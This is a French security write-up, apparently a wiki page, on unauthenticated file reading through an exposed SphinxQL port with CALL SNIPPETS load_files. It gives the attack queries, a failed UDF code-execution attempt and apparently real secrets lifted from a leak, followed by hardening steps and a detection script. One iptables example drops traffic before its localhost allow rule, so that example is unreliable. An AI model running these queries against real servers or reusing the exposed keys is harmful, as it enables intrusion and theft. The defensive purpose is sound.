Parent : [[INDEX-CYBERSECU]]
SphinxQL - Lecture arbitraire de fichiers (CALL SNIPPETS load_files)
Problème
Sphinx Search (moteur de recherche full-text) expose un protocole compatible MySQL (SphinxQL) sur le port 9306. La fonctionnalité CALL SNIPPETS avec load_files=1 permet de lire le contenu de n'importe quel fichier texte sur le serveur, sans authentification. Cette vulnérabilité a permis l'extraction de 12 fichiers de configuration en quelques minutes.
Contexte archive Ygg
- Source :
https://yggleak.top/fr/home/ygg-dossier#phase-4-sphinxql-la-porte-ouverte - Phase 4-5 — SphinxQL exploitation
- Port :
9306exposé sur Internet - Service : SphinxQL (protocole compatible MySQL)
- Fichiers extraits :
sphinx.conf,httpd.conf,httpd-vhosts.conf,config.php,database.php,Auth.php,User.php,php.ini,my.ini,mysql_error.log,hosts,httpd-ssl.conf
Technique d'exploitation
1. Connexion SphinxQL sans auth
mysql -h X.X.X.X -P 9306
# Connexion immédiate, aucun identifiant requis
2. Énumération des index
SHOW TABLES;
3. Lecture de fichiers avec CALL SNIPPETS
CALL SNIPPETS('C:/chemin/vers/fichier', 'users', 'mot_cle', 1 AS load_files, 50000 AS around, 0 AS limit);
Explication : load_files=1 charge le contenu du fichier spécifié comme source. Le service Sphinx tourne avec des privilèges suffisants pour lire l'ensemble du filesystem.
4. Fichiers cibles critiques
| Fichier | Secrets extraits |
|---|---|
config.php |
Clés d'encryption CodeIgniter |
database.php |
Credentials MySQL |
httpd-vhosts.conf |
Configuration Apache, chemins |
php.ini |
Configuration PHP, extensions |
my.ini |
Configuration MySQL |
hosts |
Mappings IP/nom |
httpd-ssl.conf |
Configuration SSL |
5. Secrets extraits
TuvqJBccgQNsPFnAjPVrAqSF3Gmkhr # Clé encryption CodeIgniter
hAb0xu&#O2pYevZ65Rid9NuhC09WD8 # SECRET_KEY
re_R9K79zd1_EZwHghQpDc6TvJkjxjcXJ9gB # Token
0x2B8C9E0705c3b48501Eb3d817d39D3C95A9AE0aA # Wallet ETH
xf7mTOvmX2tHeXDz2CkkmJddUdia8wu6 # ANNOUNCE_SIGNATURE_KEY
6. Tentative d'exécution de code
CREATE FUNCTION test RETURNS INT SONAME 'test.dll';
-- dlopen() failed: The specified module could not be found
Le chargement de DLL UDF est supporté par Sphinx, mais les délimiteurs de chemin sont bloqués dans SONAME. Sans moyen d'écriture de fichier dans C:/sphinx/bin/plugins/, pas de RCE via cette voie.
Solution protectif — Sécurisation de Sphinx Search
1. Ne JAMAIS exposer SphinxQL sur Internet
# Configuration sphinx.conf
searchd {
listen = 127.0.0.1:9306:mysql41 # Uniquement localhost
# PAS listen = 0.0.0.0:9306
# PAS listen = *:9306
}
2. Désactiver load_files
# sphinx.conf
searchd {
# Désactiver la lecture de fichiers externes
# Pas d'option directe, mais on peut restreindre les permissions
}
3. Permissions du service Sphinx
# Créer un utilisateur dédié
useradd -r -s /bin/false sphinx
# Lancer Sphinx avec cet utilisateur
sudo -u sphinx searchd --config /etc/sphinx/sphinx.conf
# Restreindre les permissions
chmod 600 /etc/sphinx/sphinx.conf
chown sphinx:sphinx /etc/sphinx/sphinx.conf
# Chroot (si possible)
# Lancer Sphinx dans un chroot ou container Docker
4. Firewall strict
# Bloquer le port 9306 depuis Internet
iptables -A INPUT -p tcp --dport 9306 -j DROP
# Autoriser uniquement localhost
iptables -A INPUT -p tcp -s 127.0.0.1 --dport 9306 -j ACCEPT
iptables -A INPUT -p tcp --dport 9306 -j DROP
5. Monitoring et détection
# detect_sphinxql_abuse.py
import mysql.connector
from datetime import datetime, timedelta
class SphinxQLDetector:
def __init__(self, host='localhost', port=9306):
self.conn = mysql.connector.connect(
host=host,
port=port,
user='sphinx_monitor'
)
def detect_file_reads(self, threshold=5):
"""Détecte les CALL SNIPPETS avec load_files excessifs"""
cursor = self.conn.cursor()
# Vérifier les logs (si disponibles)
# Sinon, monitorer les requêtes en temps réel
query = """
SELECT COUNT(*) FROM query_log
WHERE query LIKE '%CALL SNIPPETS%'
AND query LIKE '%load_files%'
AND timestamp > DATE_SUB(NOW(), INTERVAL 1 HOUR)
"""
cursor.execute(query)
count = cursor.fetchone()[0]
if count > threshold:
return {
'alert': 'SPHINXQL_FILE_READ_ABUSE',
'count': count,
'threshold': threshold,
'timestamp': datetime.now()
}
return None
6. Prévention : pas de fichiers sensibles accessibles
# Restreindre les permissions des fichiers de config
chmod 600 /var/www/config.php
chmod 600 /etc/apache2/sites-available/*
chmod 600 /etc/mysql/my.cnf
# Lancer le serveur web avec un utilisateur sans privilèges
# (pas root, pas Administrator)
Checklist de validation
- SphinxQL uniquement sur
127.0.0.1(pas0.0.0.0) - Port 9306 bloqué depuis Internet (firewall)
- Service Sphinx tourne avec un utilisateur non-privilégié
- Fichiers de config non lisibles par l'utilisateur Sphinx
-
load_filesdésactivé ou restreint (si possible) - Monitoring des requêtes
CALL SNIPPETS - Pas de fichiers sensibles dans les répertoires web
- Chroot ou container pour le service Sphinx
- Logs d'accès Sphinx analysés régulièrement
- Honeypot fichier (faux config.php avec canary token)
Références
- Archive Ygg : Phase 4-5 — SphinxQL (YGGLeak)
- Sphinx Search : https://sphinxsearch.com/docs/current/sphinxql-call-snippets.html
- OWASP : Insecure Direct Object References